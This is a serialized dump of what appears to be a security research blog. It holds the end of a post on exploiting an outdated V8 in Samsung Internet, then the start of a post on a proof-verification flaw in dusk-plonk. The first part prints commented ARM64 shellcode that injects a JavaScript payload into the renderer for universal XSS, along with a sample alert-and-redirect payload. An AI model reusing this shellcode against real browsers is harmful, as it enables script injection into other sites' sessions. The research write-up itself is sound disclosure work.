XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[140767],{"type":24,"tag":32,"props":140768,"children":140769},{"__ignoreMap":7},[140770,140778,140786,140794,140802,140810,140818,140826,140834,140842,140850,140858,140866,140873,140881,140889,140897,140905,140912,140920,140927,140935,140943,140950,140957,140964,140971,140978,140985,140993,141001,141008,141016,141024,141031,141039,141047,141054,141061,141069,141077,141085,141092,141100,141108,141116,141124,141132,141140,141148,141156,141164,141172,141180,141187,141195,141203,141210,141218,141226,141234,141242,141249,141257,141264,141271,141279,141287,141295,141303,141312,141321,141329],{"type":24,"tag":83,"props":140771,"children":140772},{"class":85,"line":86},[140773],{"type":24,"tag":83,"props":140774,"children":140775},{},[140776],{"type":29,"value":140777},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":24,"tag":83,"props":140779,"children":140780},{"class":85,"line":113},[140781],{"type":24,"tag":83,"props":140782,"children":140783},{},[140784],{"type":29,"value":140785},"movz x1, #0xf7a0\n",{"type":24,"tag":83,"props":140787,"children":140788},{"class":85,"line":128},[140789],{"type":24,"tag":83,"props":140790,"children":140791},{},[140792],{"type":29,"value":140793},"movk x1, #0x0071, lsl #16\n",{"type":24,"tag":83,"props":140795,"children":140796},{"class":85,"line":183},[140797],{"type":24,"tag":83,"props":140798,"children":140799},{},[140800],{"type":29,"value":140801},"add x9, x12, x1\n",{"type":24,"tag":83,"props":140803,"children":140804},{"class":85,"line":203},[140805],{"type":24,"tag":83,"props":140806,"children":140807},{},[140808],{"type":29,"value":140809},"movz x1, #0x5ac8\n",{"type":24,"tag":83,"props":140811,"children":140812},{"class":85,"line":212},[140813],{"type":24,"tag":83,"props":140814,"children":140815},{},[140816],{"type":29,"value":140817},"movk x1, #0x054f, lsl #16\n",{"type":24,"tag":83,"props":140819,"children":140820},{"class":85,"line":256},[140821],{"type":24,"tag":83,"props":140822,"children":140823},{},[140824],{"type":29,"value":140825},"add x0, x12, x1\n",{"type":24,"tag":83,"props":140827,"children":140828},{"class":85,"line":270},[140829],{"type":24,"tag":83,"props":140830,"children":140831},{},[140832],{"type":29,"value":140833},"blr x9\n",{"type":24,"tag":83,"props":140835,"children":140836},{"class":85,"line":302},[140837],{"type":24,"tag":83,"props":140838,"children":140839},{},[140840],{"type":29,"value":140841},"// *x0 is isolate pointer\n",{"type":24,"tag":83,"props":140843,"children":140844},{"class":85,"line":324},[140845],{"type":24,"tag":83,"props":140846,"children":140847},{},[140848],{"type":29,"value":140849},"// store isolate ptr to stack\n",{"type":24,"tag":83,"props":140851,"children":140852},{"class":85,"line":345},[140853],{"type":24,"tag":83,"props":140854,"children":140855},{},[140856],{"type":29,"value":140857},"ldr x13, [x0]\n",{"type":24,"tag":83,"props":140859,"children":140860},{"class":85,"line":358},[140861],{"type":24,"tag":83,"props":140862,"children":140863},{},[140864],{"type":29,"value":140865},"str x13, [sp, #-16]!\n",{"type":24,"tag":83,"props":140867,"children":140868},{"class":85,"line":367},[140869],{"type":24,"tag":83,"props":140870,"children":140871},{"emptyLinePlaceholder":16},[140872],{"type":29,"value":3422},{"type":24,"tag":83,"props":140874,"children":140875},{"class":85,"line":406},[140876],{"type":24,"tag":83,"props":140877,"children":140878},{},[140879],{"type":29,"value":140880},"// store x10 = v8::String::NewFromUTF8\n",{"type":24,"tag":83,"props":140882,"children":140883},{"class":85,"line":427},[140884],{"type":24,"tag":83,"props":140885,"children":140886},{},[140887],{"type":29,"value":140888},"movz x1, #0x1140\n",{"type":24,"tag":83,"props":140890,"children":140891},{"class":85,"line":440},[140892],{"type":24,"tag":83,"props":140893,"children":140894},{},[140895],{"type":29,"value":140896},"movk x1, #0x0242, lsl #16\n",{"type":24,"tag":83,"props":140898,"children":140899},{"class":85,"line":449},[140900],{"type":24,"tag":83,"props":140901,"children":140902},{},[140903],{"type":29,"value":140904},"sub x10, x12, x1\n",{"type":24,"tag":83,"props":140906,"children":140907},{"class":85,"line":458},[140908],{"type":24,"tag":83,"props":140909,"children":140910},{"emptyLinePlaceholder":16},[140911],{"type":29,"value":3422},{"type":24,"tag":83,"props":140913,"children":140914},{"class":85,"line":1065},[140915],{"type":24,"tag":83,"props":140916,"children":140917},{},[140918],{"type":29,"value":140919},"// mmap a RW page for our xss payload\n",{"type":24,"tag":83,"props":140921,"children":140922},{"class":85,"line":1668},[140923],{"type":24,"tag":83,"props":140924,"children":140925},{},[140926],{"type":29,"value":139270},{"type":24,"tag":83,"props":140928,"children":140929},{"class":85,"line":1713},[140930],{"type":24,"tag":83,"props":140931,"children":140932},{},[140933],{"type":29,"value":140934},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":24,"tag":83,"props":140936,"children":140937},{"class":85,"line":1730},[140938],{"type":24,"tag":83,"props":140939,"children":140940},{},[140941],{"type":29,"value":140942},"mov x2, #3\n",{"type":24,"tag":83,"props":140944,"children":140945},{"class":85,"line":1770},[140946],{"type":24,"tag":83,"props":140947,"children":140948},{},[140949],{"type":29,"value":139293},{"type":24,"tag":83,"props":140951,"children":140952},{"class":85,"line":1778},[140953],{"type":24,"tag":83,"props":140954,"children":140955},{},[140956],{"type":29,"value":139301},{"type":24,"tag":83,"props":140958,"children":140959},{"class":85,"line":1803},[140960],{"type":24,"tag":83,"props":140961,"children":140962},{},[140963],{"type":29,"value":139309},{"type":24,"tag":83,"props":140965,"children":140966},{"class":85,"line":1811},[140967],{"type":24,"tag":83,"props":140968,"children":140969},{},[140970],{"type":29,"value":139317},{"type":24,"tag":83,"props":140972,"children":140973},{"class":85,"line":8792},[140974],{"type":24,"tag":83,"props":140975,"children":140976},{},[140977],{"type":29,"value":139232},{"type":24,"tag":83,"props":140979,"children":140980},{"class":85,"line":8810},[140981],{"type":24,"tag":83,"props":140982,"children":140983},{"emptyLinePlaceholder":16},[140984],{"type":29,"value":3422},{"type":24,"tag":83,"props":140986,"children":140987},{"class":85,"line":8855},[140988],{"type":24,"tag":83,"props":140989,"children":140990},{},[140991],{"type":29,"value":140992},"// write our xss payload to mmapped rw page\n",{"type":24,"tag":83,"props":140994,"children":140995},{"class":85,"line":8961},[140996],{"type":24,"tag":83,"props":140997,"children":140998},{},[140999],{"type":29,"value":141000},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":24,"tag":83,"props":141002,"children":141003},{"class":85,"line":23248},[141004],{"type":24,"tag":83,"props":141005,"children":141006},{"emptyLinePlaceholder":16},[141007],{"type":29,"value":3422},{"type":24,"tag":83,"props":141009,"children":141010},{"class":85,"line":23283},[141011],{"type":24,"tag":83,"props":141012,"children":141013},{},[141014],{"type":29,"value":141015},"// store x11 = XSS_PAYLOAD string\n",{"type":24,"tag":83,"props":141017,"children":141018},{"class":85,"line":23291},[141019],{"type":24,"tag":83,"props":141020,"children":141021},{},[141022],{"type":29,"value":141023},"mov x11, x0\n",{"type":24,"tag":83,"props":141025,"children":141026},{"class":85,"line":23299},[141027],{"type":24,"tag":83,"props":141028,"children":141029},{"emptyLinePlaceholder":16},[141030],{"type":29,"value":3422},{"type":24,"tag":83,"props":141032,"children":141033},{"class":85,"line":23308},[141034],{"type":24,"tag":83,"props":141035,"children":141036},{},[141037],{"type":29,"value":141038},"// pop back isolate pointer\n",{"type":24,"tag":83,"props":141040,"children":141041},{"class":85,"line":23350},[141042],{"type":24,"tag":83,"props":141043,"children":141044},{},[141045],{"type":29,"value":141046},"ldr x13, [sp], #16\n",{"type":24,"tag":83,"props":141048,"children":141049},{"class":85,"line":23383},[141050],{"type":24,"tag":83,"props":141051,"children":141052},{"emptyLinePlaceholder":16},[141053],{"type":29,"value":3422},{"type":24,"tag":83,"props":141055,"children":141056},{"class":85,"line":23391},[141057],{"type":24,"tag":83,"props":141058,"children":141059},{},[141060],{"type":29,"value":139353},{"type":24,"tag":83,"props":141062,"children":141063},{"class":85,"line":23399},[141064],{"type":24,"tag":83,"props":141065,"children":141066},{},[141067],{"type":29,"value":141068},"// x13 = isolate *\n",{"type":24,"tag":83,"props":141070,"children":141071},{"class":85,"line":23408},[141072],{"type":24,"tag":83,"props":141073,"children":141074},{},[141075],{"type":29,"value":141076},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":24,"tag":83,"props":141078,"children":141079},{"class":85,"line":23484},[141080],{"type":24,"tag":83,"props":141081,"children":141082},{},[141083],{"type":29,"value":141084},"// x10 = v8::String::NewFromUtf8\n",{"type":24,"tag":83,"props":141086,"children":141087},{"class":85,"line":23517},[141088],{"type":24,"tag":83,"props":141089,"children":141090},{"emptyLinePlaceholder":16},[141091],{"type":29,"value":3422},{"type":24,"tag":83,"props":141093,"children":141094},{"class":85,"line":23525},[141095],{"type":24,"tag":83,"props":141096,"children":141097},{},[141098],{"type":29,"value":141099},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":24,"tag":83,"props":141101,"children":141102},{"class":85,"line":23533},[141103],{"type":24,"tag":83,"props":141104,"children":141105},{},[141106],{"type":29,"value":141107},"// arg0 = isolate *\n",{"type":24,"tag":83,"props":141109,"children":141110},{"class":85,"line":23570},[141111],{"type":24,"tag":83,"props":141112,"children":141113},{},[141114],{"type":29,"value":141115},"mov x0, x13\n",{"type":24,"tag":83,"props":141117,"children":141118},{"class":85,"line":23583},[141119],{"type":24,"tag":83,"props":141120,"children":141121},{},[141122],{"type":29,"value":141123},"// arg1 = char *c_str\n",{"type":24,"tag":83,"props":141125,"children":141126},{"class":85,"line":23596},[141127],{"type":24,"tag":83,"props":141128,"children":141129},{},[141130],{"type":29,"value":141131},"mov x1, x11\n",{"type":24,"tag":83,"props":141133,"children":141134},{"class":85,"line":23609},[141135],{"type":24,"tag":83,"props":141136,"children":141137},{},[141138],{"type":29,"value":141139},"// arg2 = type = kNormal\n",{"type":24,"tag":83,"props":141141,"children":141142},{"class":85,"line":23663},[141143],{"type":24,"tag":83,"props":141144,"children":141145},{},[141146],{"type":29,"value":141147},"mov x2, #0\n",{"type":24,"tag":83,"props":141149,"children":141150},{"class":85,"line":23672},[141151],{"type":24,"tag":83,"props":141152,"children":141153},{},[141154],{"type":29,"value":141155},"// arg4 = length\n",{"type":24,"tag":83,"props":141157,"children":141158},{"class":85,"line":32019},[141159],{"type":24,"tag":83,"props":141160,"children":141161},{},[141162],{"type":29,"value":141163},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":24,"tag":83,"props":141165,"children":141166},{"class":85,"line":32040},[141167],{"type":24,"tag":83,"props":141168,"children":141169},{},[141170],{"type":29,"value":141171},"// call NewFromUTF8\n",{"type":24,"tag":83,"props":141173,"children":141174},{"class":85,"line":80665},[141175],{"type":24,"tag":83,"props":141176,"children":141177},{},[141178],{"type":29,"value":141179},"blr x10\n",{"type":24,"tag":83,"props":141181,"children":141182},{"class":85,"line":80678},[141183],{"type":24,"tag":83,"props":141184,"children":141185},{"emptyLinePlaceholder":16},[141186],{"type":29,"value":3422},{"type":24,"tag":83,"props":141188,"children":141189},{"class":85,"line":80686},[141190],{"type":24,"tag":83,"props":141191,"children":141192},{},[141193],{"type":29,"value":141194},"// store x14 = String XSS_PAYLOAD\n",{"type":24,"tag":83,"props":141196,"children":141197},{"class":85,"line":80694},[141198],{"type":24,"tag":83,"props":141199,"children":141200},{},[141201],{"type":29,"value":141202},"mov x14, x0\n",{"type":24,"tag":83,"props":141204,"children":141205},{"class":85,"line":80702},[141206],{"type":24,"tag":83,"props":141207,"children":141208},{"emptyLinePlaceholder":16},[141209],{"type":29,"value":3422},{"type":24,"tag":83,"props":141211,"children":141212},{"class":85,"line":80742},[141213],{"type":24,"tag":83,"props":141214,"children":141215},{},[141216],{"type":29,"value":141217},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":83,"props":141219,"children":141220},{"class":85,"line":80750},[141221],{"type":24,"tag":83,"props":141222,"children":141223},{},[141224],{"type":29,"value":141225},"movz x1, #0xe44c\n",{"type":24,"tag":83,"props":141227,"children":141228},{"class":85,"line":87936},[141229],{"type":24,"tag":83,"props":141230,"children":141231},{},[141232],{"type":29,"value":141233},"movk x1, #0x014e, lsl #16\n",{"type":24,"tag":83,"props":141235,"children":141236},{"class":85,"line":87944},[141237],{"type":24,"tag":83,"props":141238,"children":141239},{},[141240],{"type":29,"value":141241},"sub x9, x12, x1\n",{"type":24,"tag":83,"props":141243,"children":141244},{"class":85,"line":101110},[141245],{"type":24,"tag":83,"props":141246,"children":141247},{"emptyLinePlaceholder":16},[141248],{"type":29,"value":3422},{"type":24,"tag":83,"props":141250,"children":141251},{"class":85,"line":101118},[141252],{"type":24,"tag":83,"props":141253,"children":141254},{},[141255],{"type":29,"value":141256},"// call v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":83,"props":141258,"children":141259},{"class":85,"line":101126},[141260],{"type":24,"tag":83,"props":141261,"children":141262},{},[141263],{"type":29,"value":141107},{"type":24,"tag":83,"props":141265,"children":141266},{"class":85,"line":101134},[141267],{"type":24,"tag":83,"props":141268,"children":141269},{},[141270],{"type":29,"value":141115},{"type":24,"tag":83,"props":141272,"children":141273},{"class":85,"line":101162},[141274],{"type":24,"tag":83,"props":141275,"children":141276},{},[141277],{"type":29,"value":141278},"// arg1 = String *source\n",{"type":24,"tag":83,"props":141280,"children":141281},{"class":85,"line":103933},[141282],{"type":24,"tag":83,"props":141283,"children":141284},{},[141285],{"type":29,"value":141286},"mov x1, x14\n",{"type":24,"tag":83,"props":141288,"children":141289},{"class":85,"line":103941},[141290],{"type":24,"tag":83,"props":141291,"children":141292},{},[141293],{"type":29,"value":141294},"// arg2 = mode = kDefault\n",{"type":24,"tag":83,"props":141296,"children":141298},{"class":85,"line":141297},69,[141299],{"type":24,"tag":83,"props":141300,"children":141301},{},[141302],{"type":29,"value":141147},{"type":24,"tag":83,"props":141304,"children":141306},{"class":85,"line":141305},70,[141307],{"type":24,"tag":83,"props":141308,"children":141309},{},[141310],{"type":29,"value":141311},"// arg3 = repl_mode = kYes\n",{"type":24,"tag":83,"props":141313,"children":141315},{"class":85,"line":141314},71,[141316],{"type":24,"tag":83,"props":141317,"children":141318},{},[141319],{"type":29,"value":141320},"mov x3, #0\n",{"type":24,"tag":83,"props":141322,"children":141324},{"class":85,"line":141323},72,[141325],{"type":24,"tag":83,"props":141326,"children":141327},{"emptyLinePlaceholder":16},[141328],{"type":29,"value":3422},{"type":24,"tag":83,"props":141330,"children":141332},{"class":85,"line":141331},73,[141333],{"type":24,"tag":83,"props":141334,"children":141335},{},[141336],{"type":29,"value":140833},{"type":24,"tag":1818,"props":141338,"children":141340},{"id":141339},"uxss-demo",[141341],{"type":29,"value":141342},"UXSS Demo",{"type":24,"tag":25,"props":141344,"children":141345},{},[141346,141348,141354],{"type":29,"value":141347},"Below is a demo that executes the following UXSS payload: ",{"type":24,"tag":32,"props":141349,"children":141351},{"className":141350},[],[141352],{"type":29,"value":141353},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":161},{"type":24,"tag":131391,"props":141356,"children":141359},{"className":141357,"controls":16},[141358],"blog-video-responsive",[141360,141362,141366],{"type":29,"value":141361},"\n  ",{"type":24,"tag":140597,"props":141363,"children":141365},{"src":141364,"type":131389},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":141367},"\n  Your browser does not support the video tag.\n",{"type":24,"tag":51,"props":141369,"children":141370},{"id":28683},[141371],{"type":29,"value":18686},{"type":24,"tag":25,"props":141373,"children":141374},{},[141375],{"type":29,"value":141376},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":24,"tag":25,"props":141378,"children":141379},{},[141380],{"type":29,"value":141381},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":24,"tag":2584,"props":141383,"children":141384},{},[141385],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":141387},[141388,141392,141395,141405],{"id":28766,"depth":113,"text":28769,"children":141389},[141390,141391],{"id":131525,"depth":128,"text":131528},{"id":131608,"depth":128,"text":131611},{"id":131641,"depth":113,"text":131644,"children":141393},[141394],{"id":131782,"depth":128,"text":131636},{"id":131926,"depth":113,"text":131929,"children":141396},[141397,141398,141399,141400,141401,141402,141403,141404],{"id":131932,"depth":128,"text":131935},{"id":132389,"depth":128,"text":132392},{"id":132572,"depth":128,"text":132575},{"id":132683,"depth":128,"text":132686},{"id":132960,"depth":128,"text":132963},{"id":135670,"depth":128,"text":135673},{"id":138951,"depth":128,"text":138954},{"id":141339,"depth":128,"text":141342},{"id":28683,"depth":113,"text":18686},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":141410,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":141411,"description":141412,"date":141413,"author":141414,"image":141415,"isFeatured":16,"onBlogPage":16,"tags":141417,"body":141420,"_type":2606,"_id":146684,"_source":2608,"_file":146685,"_stem":146686,"_extension":2611},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[107371,107372],{"src":141416,"width":14,"height":15},"/posts/dusk-commitment-issues/title.png",[141418,141419],"dusk","plonk",{"type":21,"children":141421,"toc":146664},[141422,141428,141469,141481,141487,141501,141506,141512,141803,141807,142079,142309,142315,143000,143004,143499,143507,143513,143532,143537,143543,143768,143807,143818,143824,143835,144543,144548,144551,144557,144610,144645,144677,144682,144686,144689,144695,144706,144719,144750,144817,144825,144847,144860,145287,145310,145315,145318,145323,145350,145446,145457,145504,145542,145553,145891,145908,145916,145919,145925,145930,145964,145972,146053,146056,146062,146076,146094,146099,146139,146147,146168,146171,146177,146182,146247,146261,146264,146270,146310,146321,146326,146331,146337,146351,146432,146453,146480,146483,146489,146503,146508,146513,146518,146653,146659],{"type":24,"tag":35107,"props":141423,"children":141425},{"id":141424},"commitment-issues-unverified-evaluations-in-dusks-plonk",[141426],{"type":29,"value":141427},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":24,"tag":25,"props":141429,"children":141430},{},[141431,141433,141440,141442,141449,141451,141458,141460,141467],{"type":29,"value":141432},"We found a critical soundness vulnerability in ",{"type":24,"tag":2033,"props":141434,"children":141437},{"href":141435,"rel":141436},"https://github.com/dusk-network/plonk/",[2037],[141438],{"type":29,"value":141439},"dusk-plonk",{"type":29,"value":141441},", the PLONK implementation powering ",{"type":24,"tag":2033,"props":141443,"children":141446},{"href":141444,"rel":141445},"https://dusk.network/",[2037],[141447],{"type":29,"value":141448},"Dusk Network's",{"type":29,"value":141450}," ~$60M ",{"type":24,"tag":2033,"props":141452,"children":141455},{"href":141453,"rel":141454},"https://www.coingecko.com/en/coins/dusk",[2037],[141456],{"type":29,"value":141457},"market cap",{"type":29,"value":141459},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":24,"tag":2033,"props":141461,"children":141464},{"href":141462,"rel":141463},"https://github.com/dusk-network/rusk",[2037],[141465],{"type":29,"value":141466},"Rusk",{"type":29,"value":141468}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":24,"tag":25,"props":141470,"children":141471},{},[141472,141474,141479],{"type":29,"value":141473},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":24,"tag":2040,"props":141475,"children":141476},{},[141477],{"type":29,"value":141478},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":141480}," The prover can set them to whatever values make the equation pass.",{"type":24,"tag":51,"props":141482,"children":141484},{"id":141483},"how-plonk-works-briefly",[141485],{"type":29,"value":141486},"How PLONK works (briefly)",{"type":24,"tag":25,"props":141488,"children":141489},{},[141490,141492,141499],{"type":29,"value":141491},"For a rigorous treatment see the ",{"type":24,"tag":2033,"props":141493,"children":141496},{"href":141494,"rel":141495},"https://eprint.iacr.org/2019/953",[2037],[141497],{"type":29,"value":141498},"original paper",{"type":29,"value":141500},"; what follows covers only the parts needed to understand the bug.",{"type":24,"tag":25,"props":141502,"children":141503},{},[141504],{"type":29,"value":141505},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":24,"tag":1818,"props":141507,"children":141509},{"id":141508},"arithmetic-circuits-and-constraints",[141510],{"type":29,"value":141511},"Arithmetic circuits and constraints",{"type":24,"tag":25,"props":141513,"children":141514},{},[141515,141517,141566,141568,141717,141719,141802],{"type":29,"value":141516},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":24,"tag":32,"props":141518,"children":141520},{"className":141519},[3726,3727],[141521],{"type":24,"tag":83,"props":141522,"children":141524},{"className":141523},[3732],[141525],{"type":24,"tag":83,"props":141526,"children":141528},{"className":141527,"ariaHidden":1237},[3737],[141529],{"type":24,"tag":83,"props":141530,"children":141532},{"className":141531},[3742],[141533,141537,141542,141547,141552,141556,141561],{"type":24,"tag":83,"props":141534,"children":141536},{"className":141535,"style":3854},[3747],[],{"type":24,"tag":83,"props":141538,"children":141540},{"className":141539},[21457],[141541],{"type":29,"value":558},{"type":24,"tag":83,"props":141543,"children":141545},{"className":141544},[3753,21328],[141546],{"type":29,"value":19015},{"type":24,"tag":83,"props":141548,"children":141550},{"className":141549},[3865],[141551],{"type":29,"value":3868},{"type":24,"tag":83,"props":141553,"children":141555},{"className":141554,"style":3872},[3833],[],{"type":24,"tag":83,"props":141557,"children":141559},{"className":141558,"style":93246},[3753,21328],[141560],{"type":29,"value":2858},{"type":24,"tag":83,"props":141562,"children":141564},{"className":141563},[21479],[141565],{"type":29,"value":2872},{"type":29,"value":141567}," on an elliptic curve, by e.g proving that ",{"type":24,"tag":32,"props":141569,"children":141571},{"className":141570},[3726,3727],[141572],{"type":24,"tag":83,"props":141573,"children":141575},{"className":141574},[3732],[141576],{"type":24,"tag":83,"props":141577,"children":141579},{"className":141578,"ariaHidden":1237},[3737],[141580,141642,141704],{"type":24,"tag":83,"props":141581,"children":141583},{"className":141582},[3742],[141584,141588,141629,141633,141638],{"type":24,"tag":83,"props":141585,"children":141587},{"className":141586,"style":122917},[3747],[],{"type":24,"tag":83,"props":141589,"children":141591},{"className":141590},[3753],[141592,141597],{"type":24,"tag":83,"props":141593,"children":141595},{"className":141594,"style":93246},[3753,21328],[141596],{"type":29,"value":2858},{"type":24,"tag":83,"props":141598,"children":141600},{"className":141599},[3769],[141601],{"type":24,"tag":83,"props":141602,"children":141604},{"className":141603},[3774],[141605],{"type":24,"tag":83,"props":141606,"children":141608},{"className":141607},[3779],[141609],{"type":24,"tag":83,"props":141610,"children":141612},{"className":141611,"style":3748},[3784],[141613],{"type":24,"tag":83,"props":141614,"children":141615},{"style":3788},[141616,141620],{"type":24,"tag":83,"props":141617,"children":141619},{"className":141618,"style":3794},[3793],[],{"type":24,"tag":83,"props":141621,"children":141623},{"className":141622},[3799,3800,3801,3802],[141624],{"type":24,"tag":83,"props":141625,"children":141627},{"className":141626},[3753,3802],[141628],{"type":29,"value":2867},{"type":24,"tag":83,"props":141630,"children":141632},{"className":141631,"style":3931},[3833],[],{"type":24,"tag":83,"props":141634,"children":141636},{"className":141635},[3936],[141637],{"type":29,"value":1275},{"type":24,"tag":83,"props":141639,"children":141641},{"className":141640,"style":3931},[3833],[],{"type":24,"tag":83,"props":141643,"children":141645},{"className":141644},[3742],[141646,141650,141691,141695,141700],{"type":24,"tag":83,"props":141647,"children":141649},{"className":141648,"style":122792},[3747],[],{"type":24,"tag":83,"props":141651,"children":141653},{"className":141652},[3753],[141654,141659],{"type":24,"tag":83,"props":141655,"children":141657},{"className":141656},[3753,21328],[141658],{"type":29,"value":19015},{"type":24,"tag":83,"props":141660,"children":141662},{"className":141661},[3769],[141663],{"type":24,"tag":83,"props":141664,"children":141666},{"className":141665},[3774],[141667],{"type":24,"tag":83,"props":141668,"children":141670},{"className":141669},[3779],[141671],{"type":24,"tag":83,"props":141672,"children":141674},{"className":141673,"style":3748},[3784],[141675],{"type":24,"tag":83,"props":141676,"children":141677},{"style":3788},[141678,141682],{"type":24,"tag":83,"props":141679,"children":141681},{"className":141680,"style":3794},[3793],[],{"type":24,"tag":83,"props":141683,"children":141685},{"className":141684},[3799,3800,3801,3802],[141686],{"type":24,"tag":83,"props":141687,"children":141689},{"className":141688},[3753,3802],[141690],{"type":29,"value":17032},{"type":24,"tag":83,"props":141692,"children":141694},{"className":141693,"style":3834},[3833],[],{"type":24,"tag":83,"props":141696,"children":141698},{"className":141697},[3839],[141699],{"type":29,"value":4126},{"type":24,"tag":83,"props":141701,"children":141703},{"className":141702,"style":3834},[3833],[],{"type":24,"tag":83,"props":141705,"children":141707},{"className":141706},[3742],[141708,141712],{"type":24,"tag":83,"props":141709,"children":141711},{"className":141710,"style":93791},[3747],[],{"type":24,"tag":83,"props":141713,"children":141715},{"className":141714},[3753],[141716],{"type":29,"value":54384},{"type":29,"value":141718},", here in ",{"type":24,"tag":32,"props":141720,"children":141722},{"className":141721},[3726,3727],[141723],{"type":24,"tag":83,"props":141724,"children":141726},{"className":141725},[3732],[141727],{"type":24,"tag":83,"props":141728,"children":141730},{"className":141729,"ariaHidden":1237},[3737],[141731],{"type":24,"tag":83,"props":141732,"children":141734},{"className":141733},[3742],[141735,141740],{"type":24,"tag":83,"props":141736,"children":141739},{"className":141737,"style":141738},[3747],"height:0.8389em;vertical-align:-0.15em;",[],{"type":24,"tag":83,"props":141741,"children":141743},{"className":141742},[3753],[141744,141749],{"type":24,"tag":83,"props":141745,"children":141747},{"className":141746},[3753,121355],[141748],{"type":29,"value":121358},{"type":24,"tag":83,"props":141750,"children":141752},{"className":141751},[3769],[141753],{"type":24,"tag":83,"props":141754,"children":141756},{"className":141755},[3774,21382],[141757,141791],{"type":24,"tag":83,"props":141758,"children":141760},{"className":141759},[3779],[141761,141786],{"type":24,"tag":83,"props":141762,"children":141764},{"className":141763,"style":92812},[3784],[141765],{"type":24,"tag":83,"props":141766,"children":141767},{"style":92816},[141768,141772],{"type":24,"tag":83,"props":141769,"children":141771},{"className":141770,"style":3794},[3793],[],{"type":24,"tag":83,"props":141773,"children":141775},{"className":141774},[3799,3800,3801,3802],[141776],{"type":24,"tag":83,"props":141777,"children":141779},{"className":141778},[3753,3802],[141780],{"type":24,"tag":83,"props":141781,"children":141783},{"className":141782},[3753,3802],[141784],{"type":29,"value":141785},"37",{"type":24,"tag":83,"props":141787,"children":141789},{"className":141788},[21485],[141790],{"type":29,"value":21488},{"type":24,"tag":83,"props":141792,"children":141794},{"className":141793},[3779],[141795],{"type":24,"tag":83,"props":141796,"children":141798},{"className":141797,"style":92843},[3784],[141799],{"type":24,"tag":83,"props":141800,"children":141801},{},[],{"type":29,"value":161},{"type":24,"tag":141804,"props":141805,"children":141806},"arithmetic-circuit-widget",{},[],{"type":24,"tag":25,"props":141808,"children":141809},{},[141810,141812,141838,141840,141919,141921,141998,142000,142077],{"type":29,"value":141811},"Each gate ",{"type":24,"tag":32,"props":141813,"children":141815},{"className":141814},[3726,3727],[141816],{"type":24,"tag":83,"props":141817,"children":141819},{"className":141818},[3732],[141820],{"type":24,"tag":83,"props":141821,"children":141823},{"className":141822,"ariaHidden":1237},[3737],[141824],{"type":24,"tag":83,"props":141825,"children":141827},{"className":141826},[3742],[141828,141833],{"type":24,"tag":83,"props":141829,"children":141832},{"className":141830,"style":141831},[3747],"height:0.6595em;",[],{"type":24,"tag":83,"props":141834,"children":141836},{"className":141835},[3753,21328],[141837],{"type":29,"value":3482},{"type":29,"value":141839}," has a left input 